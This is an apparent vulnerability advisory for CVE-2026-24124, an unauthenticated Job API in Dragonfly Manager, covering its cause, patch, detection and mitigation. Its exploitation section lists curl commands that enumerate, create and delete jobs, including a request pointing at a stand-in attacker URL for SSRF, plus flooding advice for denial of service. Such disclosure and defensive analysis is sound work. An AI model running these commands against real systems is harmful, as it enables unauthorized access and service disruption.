CVE-2026-24124: 
vulnerability analysis and mitigation

CVE-2026-24124 is a missing authentication vulnerability in Dragonfly, an open-source CNCF P2P-based file distribution and image acceleration system. The Job API endpoints (/api/v1/jobs) in the Manager component lack JWT authentication middleware and RBAC authorization checks, allowing any unauthenticated user with network access to perform full CRUD operations on jobs. Affected versions include all releases up to and including v2.4.1-rc.0 (including v2.4.1-beta0 and v2.4.1-beta1); the issue is fixed in v2.4.1. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 8.9 (High), disclosed on January 22, 2026 (Github Advisory, Dragonfly Advisory).

The root cause is classified as CWE-306 (Missing Authentication for Critical Function). In manager/router/router.go at lines 204–211, the Job API route group (/jobs) was registered without the jwt.MiddlewareFunc() and rbac middleware that protect other endpoints such as /clusters. A developer TODO comment in the source code explicitly acknowledged this gap: // TODO Add auth to the following routes and fix the tests. The fix, applied in commit 9fb9a2d, adds jwt.MiddlewareFunc() and rbac to the job route group, bringing it in line with other protected endpoints. A public proof-of-concept demonstrating all five vulnerable operations (GET, POST, GET/:id, PATCH/:id, DELETE/:id) is included in the security advisory (Dragonfly Advisory, Patch Commit).

An unauthenticated remote attacker can list all jobs (exposing internal URLs, configurations, and business logic), create arbitrary jobs (including preheat jobs that may trigger SSRF via the URL parameter), modify existing jobs, and delete legitimate jobs — achieving full compromise of job management functionality. This results in high confidentiality, integrity, and availability impact on the Dragonfly Manager. Practical consequences include information disclosure of internal infrastructure details, disruption of CDN preheating and P2P file distribution services, and potential resource exhaustion (DoS) by flooding the system with thousands of spurious jobs (Github Advisory, Dragonfly Advisory).

A detailed proof-of-concept is publicly available within the GitHub security advisory itself, demonstrating all vulnerable operations using simple curl commands with no authentication required. The EPSS score is approximately 0.16% (31st percentile), and there is no evidence of in-the-wild exploitation at this time. The vulnerability is not listed in the CISA KEV catalog. No specific threat actor attribution has been reported. The CVSSv4 exploit maturity is rated "Proof of Concept" (Github Advisory, Dragonfly Advisory).

1. Reconnaissance: Identify exposed Dragonfly Manager API instances (default port 8080) using network scanners or Shodan. Target deployments running versions prior to v2.4.1.
2. Verify unauthenticated access: Send an unauthenticated GET request to confirm the vulnerability: curl -s -X GET http://<manager-host>:8080/api/v1/jobs. A 200 OK response (instead of 401 Unauthorized) confirms the endpoint is unprotected.
3. Enumerate jobs: List all existing jobs to gather intelligence on internal URLs, scheduler cluster IDs, and job configurations: curl -s -X GET http://<manager-host>:8080/api/v1/jobs | jq .
4. Create unauthorized job: Submit a POST request to create a new job, optionally specifying an attacker-controlled URL in the args.url field to probe for SSRF: curl -s -X POST http://<manager-host>:8080/api/v1/jobs -H "Content-Type: application/json" -d '{"type":"preheat","args":{"type":"file","url":"http://attacker.com/payload"},"scheduler_cluster_ids":[1]}'
5. Modify or delete jobs: Use PATCH or DELETE on specific job IDs to disrupt legitimate operations: curl -s -X DELETE http://<manager-host>:8080/api/v1/jobs/<id>
6. Resource exhaustion (DoS): Flood the system with thousands of job creation requests in parallel to exhaust system resources and deny service to legitimate users (Dragonfly Advisory).

• Network: High volume of unauthenticated HTTP requests (no Authorization header) to /api/v1/jobs, /api/v1/jobs/<id> on port 8080 from unexpected source IPs; outbound connections from the Manager to external or internal URLs specified in preheat job arguments.
• Logs: Manager access logs showing repeated GET, POST, PATCH, or DELETE requests to /api/v1/jobs endpoints returning HTTP 200 without a JWT token present; sudden spike in job creation events in application logs.
• Application Behavior: Unexpected jobs appearing in the job queue with user_id: 0 (indicating no authenticated user); legitimate jobs being deleted or modified without corresponding authorized user activity; rapid increase in total job count consistent with resource exhaustion attempts (Dragonfly Advisory).

Upgrade Dragonfly to version v2.4.1 or later, which adds jwt.MiddlewareFunc() and RBAC middleware to the Job API route group (patch commit 9fb9a2d). For deployments that cannot be patched immediately, apply the following network-level controls: restrict access to the Manager API (port 8080) using firewall rules or Kubernetes NetworkPolicy to allow only trusted internal sources; deploy an API gateway or reverse proxy (e.g., Nginx, Kong, Traefik) in front of the Manager to enforce JWT/OAuth2 authentication on /api/v1/jobs endpoints. Monitor and alert on anomalous job creation or deletion activity as a compensating control (Github Advisory, Patch Commit).

The vulnerability was reported by researcher b0b0haha and remediated by Dragonfly maintainer gaius-qi, who published the advisory and patch on January 22, 2026. The advisory notes that a TODO comment in the source code had flagged this gap prior to discovery, indicating it was a known technical debt item. Red Hat also tracked the issue under their CVE database. No significant broader media coverage or notable community controversy has been identified beyond standard vulnerability aggregator coverage (Dragonfly Advisory, Red Hat CVE).